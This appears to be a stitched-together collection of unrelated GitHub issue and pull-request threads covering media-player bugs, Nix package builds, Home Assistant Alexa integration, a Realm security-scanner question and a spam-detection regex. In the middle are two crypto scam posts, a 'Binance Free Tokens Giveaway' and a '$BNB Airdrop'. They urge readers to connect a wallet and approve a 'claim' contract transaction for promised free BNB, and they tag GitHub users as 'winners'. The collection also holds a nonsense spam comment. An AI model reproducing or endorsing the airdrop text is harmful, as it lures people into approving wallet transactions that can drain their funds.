setCurrentTime() starts playing unwanted

Environment:

Windows 10
ver 2.23.4
Firefox 50.1.0
Youtube video

I've done the test with your demo/mediaelementplayer-youtube.html
$('video').mediaelementplayer({
  success: function(media, node, player) {

    media.setCurrentTime(60);
    media.pause();

    $('#' + node.id + '-mode').html('mode: ' + media.pluginType);
  }
});

The video starts playing immediately. Even this media.pause() will not help to pause it.

@Aybee Thanks for pointing this. Can you try 3.x-dev version and check if the issue is there, please? That's my current focus since it will be released soon

It's the same with 3.x-dev - tested with test/youtube.html
var elements = mejs.getElementsByClassName('mejs-player');

for (var i=0, il=elements.length; i<il; i++) {
  var player = new MediaElementPlayerSimple(elements[i], {
    success: function(media, node, player) {
      media.setCurrentTime(60);
      //media.pause();
    }
  });
}

Also youtubeIframeVars will not work. Parameter start does not appear in the iframe src.
var elements = mejs.getElementsByClassName('mejs-player');

for (var i=0, il=elements.length; i<il; i++) {
  var player = new MediaElementPlayerSimple(elements[i], {
    youtubeIframeVars: {start: 60},
    success: function(media, node, player) {
      // do something
    }
  });
}

BTW both <video> and <iframe> version are creating an iframe.

I'll take a look and let you know asap

@Aybee I tested using setCurrentTime and it worked for me using the latest version. Just FYI you cannot configure any iframe vars since it could cause unexpected behavior. And we need to maintain consistency for all the other media types, so that's why they got removed. Test it and let me know. Thanks

Same as before it did not work. How exactly did you do your test with the youtube video?
I will open a new ticket regarding youtubeIframeVars.

In which browser you are testing? I checked on Chrome and Firefox and worked for me. I set up the JS for the setCurrentTime option and that did the trick

Oh I see that you tested on Firefox 50.10. Let me take a look at which version I have. For reference I'm using Mac for this, which OS you are using?

I have no issues in FF 50.10 Mac using the following code in /test/youtube.html in 3.x-dev branch:
var elements = mejs.getElementsByClassName('mejs-player');

	for (var i=0, il=elements.length; i<il; i++) {
		var player = new MediaElementPlayerSimple(elements[i], {
				success: function(media, node, player) {
					media.setCurrentTime(60);
					//media.pause();
				}
		});
	}

Let me know if works for you or provide me a URL so I can check this issue. Thanks

I'm on Windows 10
Tested with Firefox, Chrome and Opera
http://public.andreasburg.de/mediaelement-3.x-dev/test/youtube.html
Video version runs immediately at 60s. Iframe version has no effect at all.

Thanks for the URL I'll check it and keep you posted

The iframe in the example seems to not have the same class as the video tag; can you add it to the iframe and let me know if it works for you?

Yes, now that you mention it. This was missing in your youtube.html. I've added the class. Now both videos play immediately.
http://public.andreasburg.de/mediaelement-3.x-dev/test/youtube.html
And this is with media.pause() activated
http://public.andreasburg.de/mediaelement-3.x-dev/test/youtube-pause.html
No preview picture but seems to work.

Good to know. Closing issue per your comments


Unable to create token retire request .

Problem description
Unable to create token retire request .
Step to reproduce
Steps to reproduce the behavior:

Import and publish policy( IREC 4)
mint token
create contract and contract pair
create retire request

Expected behavior
Token retire request should be created succesfully
Screenshots

Current retirement contract is based on the old smart contract security model. Since v0.35.2, Hedera implemented a new smart contract security model that prevents some capabilities leveraged by the retirement contract when dealing with HTS precompiles.
Waiting for the new architecture (Contract-based delegation for token retirement operations #2011) to be implemented, a potential workaround is to add some transactions to the workflow to set the correct permissions for the smart contract to be able to operate as previously meant.
The exact transactions to be sent depends on the operations the current contract is doing, in particular we can identify the following HTS operations:

grantTokenKyc

a dedicated tx must be sent to update the KYC flag

associateToken

a dedicated tx must be sent to grant association to the token

transferToken

a dedicated tx must be sent to allow the contract to operate on the specific tokens it wants to transfer

transferNFT

a dedicated tx must be sent to allow the contract to operate on the specific tokens it wants to transfer

wipeTokenAccount

I don't have a tested workaround for this behavior yet. I need to verify if wiping is still available without changing the architecture of the contract

wipeTokenAccountNFT

I don't have a tested workaround for this behavior yet. I need to verify if wiping is still available without changing the architecture of the contract


Correct the message of ErrorCodeNoSuchContainer to "No such container"

Fixes issue #18424
Signed-off-by: Wen Cheng Ma<EMAIL_ADDRESS>

Thanks! sgtm, wondering if this should be considered an API change (I think this message is returned by the API); are people actually checking the status message?

I don't think it will be an API change, LGTM btw

Yes, changes LGTM too
(userns failed, but doesn't look related, so triggered Janky)

userns  build timeout

LGTM

Don't think docs changes are needed, so LGTM

LGTM


Update Dockerfile to support latest version

Just had to add a pip install pytest to avoid import error and use the python 3 tensorflow tag.
This should help to address #620

Hello, looking to run latest version of GPflow with docker. Is this PR ready to be finalised.

Now, GPflow has pytest as a dependency. I'm closing this ticket as it is not necessary anymore install pytest via pip.


Bug removal -- Problem suggestor is suggesting already solved problems

Hii, can you please share some more details? A screenshot would help more.

Hii, I have checked the code again. It is not possible that the suggestor is suggesting the solved problems, because, I have specially excluded them from the suggestion list. You can check it yourself here. https://github.com/rudradesai200/CFViewer/blob/0aa97d421a9331e1912febe3e14f9125552e58ac/viewers/renderviews.py#L399-L400 . And if you still think that this is an issue, Please attach some more details here. For now, I am closing this issue!

I am using Codeforces APIs to provide these recommendations, but sometimes, if the same problem is present in div2 and div1, they may have different problem ids even if they are the same. This can be the major source of error which cannot be eliminated.

https://codeforces.com/blog/entry/79884?#comment-658212

🚀 Binance Free Tokens Giveaway! 🌕
Welcome to the exclusive Binance Free Tokens Giveaway! 🎉 Don't miss out on claiming your free tokens. Here's a simple guide to get started:
Steps to Claim:

Connect Your Binance Wallet:

Click on the Connect Wallet.
Select your preferred wallet provider (Metamask, Trust Wallet, etc.).
Follow the prompts to connect your wallet securely.

Interact with the Contract:

Once your wallet is connected, navigate to the Binance Free Tokens Page.
Click on the "Claim" button to interact with the smart contract.

Claim Your Free Tokens:

Confirm the transaction in your wallet to execute the claim method.
Wait for the transaction to be processed.

Spread the Excitement:

After successfully claiming your tokens, share the news!

Twitter: Tweet about Your Tokens
Facebook: Share on Facebook

Act fast and enjoy your tokens! This limited-time offer won't last forever. 🌐💰
Note: Make sure to follow official Binance channels for updates and announcements.

$BNB Airdrop: Claim Your $1000 in BNB Now!
🌟 Exciting News! 🎉 You're in for a treat! 🚀 You've just hit the jackpot and secured your spot in the $1.5k Binance Airdrop! 🤑 Brace yourself for an amazing windfall of $1500 in BNB. But that's not all – here's the cherry on top: Connect now, and enjoy an instant bonus of $100! 🚀 Don't miss out on this golden opportunity. Follow the simple steps below to claim your tokens and elevate the joy of this spectacular giveaway! 🌈

Steps to Claim:
1. 🌐 Connect Your Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @mmp-code, @samellis, @Mardak0, @nepalsaurav, @jcity, @gitusrnm, @z1001123


Update to breaking feature branch 1.0.0

This requires 0.1.0 of alexapy and HA >= 0.88.0.
Changes.

Split to platform and pypi API (resolves #14, #62)
Add multiple account support (resolves #37)
Fix bug where cookie login didn't detect changes in configuration (resolves #63)
Reduce media player polling. Polling should restart using HA or voice, but not other Apps. (resolves #70)
Add sequence processing for more programmatic support.
Add automation routine support.
Allow for volume changes when media not playing or paused (resolves #43)
This tested in both my production and test systems. I have updated wiki too in preparation for this.

I have not tested this on HA 0.87.0 as I don't upgrade until .1 point releases. I don't think we'll run into any issues though although there is one issue report on HA 0.87.0 on the current version 0.10.1.

I'm also investigating the recent architecture change made in HA where all components are in their own subdirectory.
I haven't found the documentation yet explaining the change.

Where can i find your revised code if this doesn't get merged?

@drewrox2009 My dev branch. Instructions are in the Wiki.

The new architecture changes in HA 0.88.0 documented in #76 will break this version too. Working on fixing this and also adjusting to the new requirements.

No, it's feature complete and tested on my systems along with one or two volunteers. I can merge it in whenever you want to transition. I think maybe we do it with the .88.0 HA release as we can merge in the .88 specific fixes too. I also am testing the package renaming requirements so I think we should get those in too.
We do need to update alexapy; I have a PR there on Gitlab. If you'd like me to help with the publishing on pypi, I can do that too. My pypi username matches my username here and on Gitlab.

I've updated this to use the new directory format and the new constants.  This means this branch will only work with HA >= 0.88.0.  My thought is that is when we move this to master, we move the old master to 0.10.X so people can reference it still if they want the old build.

For reference, HA architecture change is discussed here.

@keatontaylor HA 0.88.0 came out today. Do you agree with the rearchitecture coming out for this release since there will be breaking changes anyway? If so, we need to update the API on gitlab. (I don't have any contributor rights there or on pypi).

@drewrox2009 My dev branch. Instructions are in the Wiki.

This looks awesome!
does this work for hass.io?    how do i install this on hass.io
//Regards

I do not use a hass.io environment, so I don't have instructions. Assuming hass.io supports custom_components, then yes it will work.

I do not use a hass.io environment, so I don't have instructions. Assuming hass.io supports custom_components, then yes it will work.

Hi, ok,  yes it support custome_component,   i used tha "Alexa media_player 0.9" but removed it to install your nice work.  but im missing something, i added this as with the "original" alexa mediaplayer
in the folder Configuration/custome_components/alexa_media. i added this 3 fils:
init.py
const.py
media_player.py
but is it something else that needs to be installed on this version of "alexa_media player" or does it work as the old one 0.9 version.  (other than the small change in configuration.yaml, and folders)
this line: pip3 install --force git+https://gitlab.com/alandtse/alexapy.git
is this a necessary thing or is that only for updates?
//Regards

Yes, you have to install the new dependency if you want to use the 1.0.0 branch. The Wiki posted above explains all required steps to migrate. If you skip any (e.g., dependency, folder names, configuration.yaml), it will not work.

Yes, you have to install the new dependency if you want to use the 1.0.0 branch. The Wiki posted above explains all required steps to migrate. If you skip any (e.g., dependency, folder names, configuration.yaml), it will not work.

ok, i did folow the guide and run the install script, and it stat it installs, but im getting this on reboot,
(i placed the 3 fils in at folder cald alexa_media in and placed it under Configuration/custome_components/    and added
alexa_media:
accounts:
- email: my email
password: my password
url: amazon.com
to the configuration.yaml fil.
in the wiki it stats "place the above info to the alexa_media domain"
im guessing the "alexa_domain" mean ad the info as above in the configuration.yaml fil?
Japp im very new to this ;-)  thank for taking your time to help me with this.
//Regards
Sat Feb 23 2019 01:28:45 GMT+0100 (centraleuropeisk normaltid)
Unable to install package alexapy==0.1.0: Could not find a version that satisfies the requirement alexapy==0.1.0 (from versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5)
No matching distribution found for alexapy==0.1.0
You are using pip version 19.0.2, however version 19.0.3 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

Pipeline currently running for gitlab project version tagged 0.1.0.

@chali272 Please note, while I'd like to help, this build is a developer build which implies you are able to self-debug your environment.  Also, this thread is intended to discuss the pull request and not as a general support thread.  To avoid further clutter, I will respond one last time but I do not plan to respond further.

Unable to install package alexapy==0.1.0: Could not find a version that satisfies the requirement alexapy==0.1.0 (from versions: 0.0.1, 0.0.2, 0.0.3, 0.0.4, 0.0.5)
No matching distribution found for alexapy==0.1.0
You are using pip version 19.0.2, however version 19.0.3 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

The error message indicates the dependency is not installed. You'll need to ensure you install the dependency given any virtual environments hass.io may use.

(i placed the 3 fils in at folder cald alexa_media in and placed it under Configuration/custome_components/ and added
alexa_media:
accounts:

email: my email
password: my password
url: amazon.com

Spelling is important for file names and configuration settings.
Indentation is important for the configuration.yaml. Please follow the wiki. But yes, the platform should be alexa_media per the wiki.

@keatontaylor Will do. I'll run another test to make sure pypi is pulling correctly during HA upgrade and merge after.

thanks. made it work 2min after i posted ;-). had to do it in other way since I'm running docker. don't know if you like reports on multiple accounts? if you don't want that info posted here i will remove it. After testing to ad 3 accounts, first 2 shows up. but not the 3rd. # out the first accounts the 3rd shows up. removed  # from the 2 first accounts. the 3rd disperse.   going to retest this a couple of times to see if its possible to get it to work on all 3. thanks again for creating this //regards

@chali272 Please post an issue on the multiple accounts. We appreciate the report.


Ripme displays null on tumblr 404

Ripme version: 1.7.65
Java version:
Operating system:  Ubuntu 16.04

Exact URL you were trying to rip when the problem occurred: grimphantom.tumblr.com
Please include any additional information about how to reproduce the problem:

Expected Behavior
Ripme tells the user the album/user they tried to rip doesn't exist
Actual Behavior
Ripme just displays a red null

Hello, can I work on this?

@dominiksitar
Go ahead

Pull request #1048 to a fixed issue.

Hope this solution is better


LanguageServerProtocolJSONRPCTests: silence a warning

Sleep is a void returning function, which makes the blackhole
redundant.  Remove the unnecessary assignment which also silences
the warning associated with it.

@swift-ci please test


Note: On PowerApps Portals, only the Notes (annotation) table/entity fully supports file columns

Note:
While in a PowerApps context file columns are supported on all tables,
PowerApps Portals only fully support file columns and downloads on the Notes (annotation) entity
(Please add a link to https://docs.microsoft.com/en-us/powerapps/maker/portals/configure-notes)

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 8026a170-f2e5-9d5f-3c7b-0fcfaca0d71c
Version Independent ID: 7b8e643b-ad4a-2032-ef27-413ed7e8f97a
Content: File columns (Microsoft Dataverse) - Power Apps
Content Source: powerapps-docs/developer/data-platform/file-attributes.md
Service: powerapps
GitHub Login: @phecke
Microsoft Alias: pehecke

@CarstenMS Done. Thanks for the feedback.


Text encoder API

Hi,
Thank you for your awesome work! I wonder whether there is an API for text encoder that takes in texts and outputs text features, like  https://huggingface.co/docs/transformers/model_doc/owlvit#transformers.OwlViTTextModel in OWL-ViT.
Best,
Yixuan

We have no text encoder API for now. We will improve it later.
You may see the forward function, where the first step is to extract text features: https://github.com/IDEA-Research/GroundingDINO/blob/main/groundingdino/models/GroundingDINO/groundingdino.py#L263

Thank you for your reply! Just to double-check, encoded_text is the text feature used, right?


punctuation

@tjs137 : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Add argopy and Argo-online-school

I need to fix the page publication so it may take a while for these to show up. Thanks!


go_1_17: enable on x86_64-darwin

Apparently this does not depend on stdenv's macOS SDK at all,
and carries around its own go-specific toolchain. So this works
fine as-is and doesn't need any changes in Nixpkgs to support a
10.13 deployment target.

Motivation for this change
Noticed in https://github.com/NixOS/nixpkgs/pull/144588#issuecomment-960603995
If this is valid, it would be nice to have for 21.11 (linking https://github.com/NixOS/nixpkgs/issues/144627 for visibility)
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[x] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
21.11 Release Notes (or backporting 21.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Can we also update go = go_1_16 to 1.17 in all-packages.nix then?

Yes, I think so. Happy to do so here or in a separate PR, whatever's preferred.

There's also this:
  # go_1_17 has go module changes which may not be portable
  # across different go versions and/or platforms,
  # it also requires >=10.13 stdenv on darwin which
  # is not currently available for x86_64-darwin
  #
  # do not uncomment this without approval from the go CODEOWNERS
  #buildGo117Module = callPackage ../development/go-modules/generic {
  #  go = buildPackages.go_1_17;
  #};

  buildGoModule = buildGo116Module;

Not sure if those non-portable go module changes is something that needs to be addressed.

AFAIK: the "non-portable module changes" part is the reason we can't just go buildGoModule = buildGo117Module immediately, but is independent from the 10.13 SDK concerns. So I think this PR should remove the SDK 10.13 remark from that comment but otherwise leave it untouched.

Are we waiting on something here?

Are we waiting on something here?

I was hoping for an ACK from one of the Go codeowners, but it looks like everyone is ok with this. And this is a small change so it's easy to revert if needed.

That doesn't mean we can enable buildGo117Module though, right? :)
Anyway, I'll take care of that in the Grafana update PR.

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/missing-go-1-17-on-x86-64-darwin/15032/3


python311Packages.astropy build failure on x86_64-linux as of ebde3065

Issue description
Build of python311Packages.astropy failed on x86_64-linux as of ebde306504e278e4ab153474786091f9ffdfa1e4. This is currently breaking python3Packages.wandb.
error: builder for '/nix/store/qwyrayw9xk6sj0kcy6f9dr9mr6ja59vp-python3.11-astropy-6.0.1.drv' failed with exit code 1;
       last 10 log lines:
       >
       > lib/python3.11/site-packages/astropy/time/tests/test_precision.py::test_datetime_timedelta_sum[utc]
       >   /nix/store/rg8n8m5a4czbs471217icbq40iycjg5b-python3.11-pyerfa-<IP_ADDRESS>/lib/python3.11/site-packages/erfa/core.py:154: ErfaWarning: ERFA function "taiutc" yielded 1 of "dubious year (Note 4)"
       >     warnings.warn('ERFA function "{}" yielded {}'.format(func_name, wmsg),
       >
       > -- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html
       > =========================== short test summary info ============================
       > FAILED lib/python3.11/site-packages/astropy/time/tests/test_precision.py::test_timedelta_datetime_roundtrip[tt] - hypothesis.errors.Flaky: Inconsistent test results! Test case was Conclusio...
       > = 1 failed, 23671 passed, 3648 skipped, 238 xfailed, 79 warnings in 752.22s (0:12:32) =
       > /nix/store/v5lsd029lz5lfhamivbgqyp3zdv94ah2-stdenv-linux/setup: line 1578: pop_var_context: head of shell_variables not a function context
       For full logs, run 'nix log /nix/store/qwyrayw9xk6sj0kcy6f9dr9mr6ja59vp-python3.11-astropy-6.0.1.drv'.
error (ignored): error: cannot unlink '/tmp/nix-build-opencv-4.9.0.drv-0/source': Directory not empty
error: 1 dependencies of derivation '/nix/store/djbfd53wkq8wkskzipirh6222f093yj7-python3.11-imageio-2.34.0.drv' failed to build
error: 1 dependencies of derivation '/nix/store/z3dnm9plinjypqxlq8mk13l78g62b2mv-python3.11-wandb-0.16.0.drv' failed to build

full build log
python3Packages.wandb maintainers cc: @samuela
python311Packages.astropy maintainers cc: @KentJames @doronbehar
Other cc: n/a
Steps to reproduce

Checkout nixpkgs at commit ebde306504e278e4ab153474786091f9ffdfa1e4
Run nix-build -A python311Packages.astropy

Technical details
 - system: `"x86_64-linux"`
 - host os: `Linux 6.5.0-1016-azure, Ubuntu, 22.04.4 LTS (Jammy Jellyfish), nobuild`
 - multi-user?: `yes`
 - sandbox: `yes`
 - version: `nix-env (Nix) 2.16.1`
 - nixpkgs: `/nix/store/d1bbviiqxg3qiw8jyw41b1albw5n5m0c-source`

Contents of ~/.config/nixpkgs/config.nix:
{ allowUnfree = true; cudaSupport = true; cudaCapabilities = ["8.0"]; }

Misc.
This issue was automatically generated by nixpkgs-upkeep.

CI workflow that created this issue.
Internal tags: -2491416191409938442 -6523883131570661996

Sorry for taking so long to reply, I was busy. https://github.com/NixOS/nixpkgs/pull/301311 is suggesting to simply disable that flakey test.. I haven't tested on my machine if it is flakey here as well, but hydra seems to fail that test.

Thanks so much @doronbehar! PR looks good to me


Mark equations (or other relations) by using automatic root-finding to identify sets of variables satisfying the equation

I want to be able to set the expected answer to a mathematical expression to a formula, implicit or explicit, such as S = 2cos(t) or x^2+y^2=1, and have it marked without any further setup. I'd also like to mark inequalities like x+y>2. This is a superset of what's asked for in #192.
Two boolean functions f(variables) and g(variables) are equivalent if they are satisfied by the same sets of variables. We can check this by evaluating f and g on randomly-chosen sets of variables, and comparing the results.
Just picking variables completely at random isn't much good, because you're extremely unlikely to pick a set of variables satisfying either expected function, so both will produce false.
We could use automatic root-finding to identify sets of variables that satisfy the expected function f, when it's an equation in real-valued variables. For inequalities, you need to identify sets of variables in both the satisfied and non-satisfied regions. Again, when variables are real-valued, you can use root-finding but stop when you're in the right region.
It looks like the Nelder-Mead algorithm might be the right thing to identify roots. There's a JS implementation in fmin.

Having looked at Numerical Recipes, which says there's no good method unless you know something about the function, I reckon this is too ambitious.


Problem with optimization: fmin_l_bfgs_b terminated abnormally...

I'm running the BO to search for hyperparameters of XGBoost model.  On the first iteration of the BO, after initialization, I get this message:
/home/ubuntu/anaconda3/lib/python3.6/site-packages/sklearn/gaussian_process/gpr.py:457: UserWarning: fmin_l_bfgs_b terminated abnormally with the  state: {'grad': array([ -1.36050603e-05]), 'task': b'ABNORMAL_TERMINATION_IN_LNSRCH', 'funcalls': 51, 'nit': 4, 'warnflag': 2}
" state: %s" % convergence_dict)
More information about this issue:
https://github.com/scikit-learn/scikit-learn/issues/7563
https://stackoverflow.com/questions/34663539/scipy-optimize-fmin-l-bfgs-b-returns-abnormal-termination-in-lnsrch
I was using the default gp_params. If I understood correctly those two threads, the problem is that lbfgs received a negative gradient while trying to maximize the function, which might be caused because "the gradient does not match the function" or a wrong set of parameters for the Gaussian Process. The thing is that I have no idea of how to solve this, so any help is appreciated.

As you pointed out yourself, this is a problem with training the guassian process, not with BO per se. As suggested, the likely cause is the function being optimized (the one the GP is trying to approximate) is ill behaved, leading to difficulties. You can try sharing some code, but the answer seems to be tuning GP's parameters until you get it working. Probably adding flexibility with the alpha parameter will help.

Raising the value of alpha to 1e-4 solved the problem. Thank you very much for the help.

@iliatimofeev This example is a bit outdated, it was created before the new scikit-learn implementation of gaussian processes. See @Ricardus312 comment above for a solution.
Examples will be reworked/fixed in an upcoming version release.


Feature request: Subscriptions

Hello!

Vote on this issue by adding a 👍 reaction
If you want to implement this feature, comment to let us know (we'll work with you on design, scheduling, etc.)

Issue details

The pulumi-postgresql package already supports Publications. It'd be useful to have it support Subscriptions as well.
Affected area/feature

I'm not sure.

Hi @gunar -
We will bring this feature into this provider as soon as it is available in the upstream Terraform.

I've opened an issue: https://github.com/cyrilgdn/terraform-provider-postgresql/issues/238

This has now been released upstream: https://registry.terraform.io/providers/cyrilgdn/postgresql/1.18.0
Can we cut a new release that includes it?


Add env variable for version number

./bin/start updates $VERSION_NUMBER in ./.env
Added VERSION_NUMBER to ./.env.example
Added VERSION_NUMBER to client image in ./docker-compose.yaml

[ Issue: #822 ]
Signed-off-by: jbobo<EMAIL_ADDRESS>

sounds good, the commands that copy over the version number are now run silently


Insecure functions (malloc and strlen) are used

After a statical code analysis of our app, the use of malloc and strlen were reported as security bugs inside Realm files. Has anybody else reported this before? We want to know if you already have an explanation for this usage or if there is a plan of changing the method in a future version.
Goals
Avoid security issues using the library
Expected Results
Explanation of the usage of the methods or changing the methods being used
Actual Results
The static analysis shows security issues due to the usage of Realm
Steps to Reproduce
Static Analysis over the library with any security tool
Code Sample
usage of malloc:
Realm/RLMAnalytics.mm
 buffer.reset(malloc(*bufferSize));

usage of strlen :
Realm/RLMProperty.mm
auto nameSize = strlen(str);
...
auto familySize = strlen(family);

Realm/RLMObjectStore.mm
char *const start = className + strlen(className);

Realm/RLMSyncSubscription.mm
objectType = objectType.substr(0, objectType.size() - strlen("_matches"));

Version of Realm and Tooling
Realm framework version: 3.0.2 but, even in the master branch the functions still used
Realm Object Server version: N/A
Xcode version: N/A
iOS/OSX version: N/A
Dependency manager + version: N/A

@bdrangel Security scanner tools can often complain with false negatives. If they are easy fixes we don't mind merging PR's if that helps you. If you can point to and explain actual security issues we will of cause fix them right away. But so far we have not seen any actual risks.

Thanks for your answer. At this moment, our goal is to approve a security audit in which the usage of these functions was marked as findings. In particular, malloc is considered insecure due to the possibility to exploit it to lead a heap overflow. I'm not a security expert and I'm not sure if the usage in these specific scenarios could be exploited, but I would really appreciate your help to define why the usages are not risks or if there is evidence to demonstrate that the functions cannot lead to the security issue. Has anybody else asked before for security explanations? Thanks in advance

Hi @bdrangel,
We can't see how this is a security risk in a mobile application. As mentioned any such tool will provide you with false negatives, and we can't really spend the time to prove that it's not, it has to be the opposite way. This repo is really only for bugs, but if you want help to assess if this is an issue, I suggest you ask on StackOverflow or provide the tool vendor with the code and ask then to not flag issues like this :-)
I'll be closing this issue, but feel free to reopen in case you have substantial arguments for why this issue must be addressed.
Thanks!

➤ Unito Sync Bot commented:
Transition made by Unito


Create npm-publish.yml

yes

ok la ya me i sip like fun ok like me fun ok ok ok ok fun lup fun me like me ok ok


Add FactionsBridge Support (#131)

Fixes #131
Uses FactionsBridge which is compatible with many Factions plugins such that individual support doesn't need to be added for every Factions plugin.

clean code, approved by the FDA


[RFC] Allow client to specify attach or create behavior

What does this Pull Request accomplish?
This would be step one of several. We'll need to add the desired initialization behavior as an input/request parameter in each API. And then it will pass that value to add_session.
The purpose is to return an error if the user expects a specific session state and that guarantee cannot be satisfied.
Why should this Pull Request be merged?
TODO: Justify why this contribution should be part of the project.
What testing has been done?
Built locally.

I think it's a good feature and the names work for me.

@dmondrik , FYI the run_win_system_tests step for all CI runs is currently just stuck in the queue forever. It's a known issue and being worked on. I believe the system tests running on ubuntu should provide enough coverage though: the run_ubuntu_system_tests step ran and passed. If you agree, feel free to Squash and merge without waiting for the run_win_system_tests issue to be resolved and ran for these changes.


Simplify Xml handling

This pull request aims to simplify xml handling.
Some base patch could be merged in an other pull request.

[x] Remove MappingData xml link
[x] Remove SubsystemInclude tag
[x] Create Xml bindings (partial)
[ ] Add parser and bindings tests
[ ] Create loader (other pull request?)
[ ] Create a real configuration class

Coverage decreased (-40.6%) to 29.41% when pulling 7742656e5ee92c4409be188e067d873f14f522c3 on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decreased (-0.36%) to 69.64% when pulling 6423d408cb63c57ba5af6aa51b6ac530f77bdf7e on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decrease for XmlFileDocSource.cpp and XmlDocSource.cpp is due to CXmlFileIncluderElement removal, but is not dead code. Call to that code may be trigged in ParameterMgr, line 715.

Coverage decreased (-0.45%) to 69.55% when pulling d4da654b3597133dd97906b93aac66bda76a3372 on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decreased (-0.37%) to 69.63% when pulling d30488af9155735649f061dece30585d4712cb5c on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decreased (-0.07%) to 69.93% when pulling 1d4a7de0378c65d08ea6d98f3fb3816e05758d94 on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decreased (-0.14%) to 69.86% when pulling ec67345a08b2fccac52b19f1e92486c045cdd284 on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

Coverage decreased (-0.21%) to 69.79% when pulling 2c635ab0570cad82a10c20c29f19ec35928c0b31 on clero:remove_manual_xml_include into 391d9707b23b457af25465267f235cf3647de7cf on 01org:next.

@dawagner @krocard @OznOg please review


pip install error - 'ascii' codec can't decode byte

Hi.
This might sound very petty, but I've been struggling with this now for a while.
TLDR: Previously working installation process fails on another machine with the same setup.
After Ive installed stardist to my notebook without any issues just to try it out for some sample data. I liked it quite much so I've decided to give it a bigger shot and run it on a (local) GPU server.
In both cases I've set up a python3 virtual environment, simply installed tensorflow-gpu, then stardist, but in the second case it has failed with an error:

pip3 install stardist
Obtaining file:///storage01/balassa/Stardist/stardist
ERROR: Command errored out with exit status 1:
command: /storage01/balassa/Stardist/Sd3/bin/python3 -c 'import sys, setuptools, tokenize; sys.argv[0] = '"'"'/storage01/balassa/Stardist/stardist/setup.py'"'"'; file='"'"'/storage01/balassa/Stardist/stardist/setup.py'"'"';f=getattr(tokenize, '"'"'open'"'"', open)(file);code=f.read().replace('"'"'\r\n'"'"', '"'"'\n'"'"');f.close();exec(compile(code, file, '"'"'exec'"'"'))' egg_info
cwd: /storage01/balassa/Stardist/stardist/
Complete output (7 lines):
Traceback (most recent call last):
File "", line 1, in
File "/storage01/balassa/Stardist/stardist/setup.py", line 46, in
long_description = f.read()
File "/storage01/balassa/Stardist/Sd3/lib/python3.6/encodings/ascii.py", line 26, in decode
return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 769: ordinal not in range(128)
----------------------------------------
ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.

Could anyone help me please what might be the issue here?
In both cases I've tried the process under linux, with python3 and CUDA 9.0. And I have tried to set the env. vars to UTF-8.

It might really be a locale issue. Can you try this?

Thank You for the answer @uschmidt83!
I did try to set the envs before too, but it was not working for some reason. Then I had to play around abit more, and meanwhile also realized that I was unable to install stardist with gcc-8, but only after switching to gcc-7. Just wanted to note this too.

The latest version (stardist 0.3.4) should have fixed that issue. Installation should now work even if locale is set to non utf-8 encodings.


Added a project

Bitcoin ticker a[pp made with flutter

Your branch has some conflicting issues,
please try again.

Your branch still has some conflicting issues,
please close this pr and try making new one.


findspam.py: New reason "Bad pattern in URL"

For the time being, it specifically matches URLs ending with "-reviews"
(with a couple of oddball variations from old spam).  This is a common
MO for the Indian pharma spammer.  Most of these spams are detected just
fine, but they are mutating brand names etc. incessantly and might one
day succeed in getting past the usual filters.  This is added as just
one more layer of "defense in depth".
It should be relatively easy to see how to add more fragments to the
rule in the future.
There are two new test cases to check both branches of the regex at
the heart of this rule.
Current Metasmoke report for a similar query suggests 3494/3494 TP rate:
https://metasmoke.erwaysoftware.com/search?utf8=✓&title=&body_is_regex=1&body=(^|[^A-Za-z0-9_])[A-Za-z0-9_]%2B-reviews(-(canada|(and|or)-scam))%3F%2F%3F<%2Fa>&username=&why=&site=&feedback=&reason=&user_rep_direction=>%3D&user_reputation=0&commit=Search

Codecov Report

Merging #662 into master will increase coverage by 0.28%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master     #662      +/-   ##
==========================================
+ Coverage   61.36%   61.65%   +0.28%
==========================================
  Files           5        5
  Lines        1069     1077       +8
==========================================
+ Hits          656      664       +8
  Misses        413      413

Impacted Files
Coverage Δ

findspam.py
81.58% <100%> (+0.42%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5911606...5a0730b. Read the comment docs.

Metasmoke query is good.

Nope, I'm thinking let's just unleash this and check for false positives for the next few days or weeks.  Maybe somebody could try to google some FP candidates but it's past bedtime here for me so not me, not now.  I can try next week I suppose.

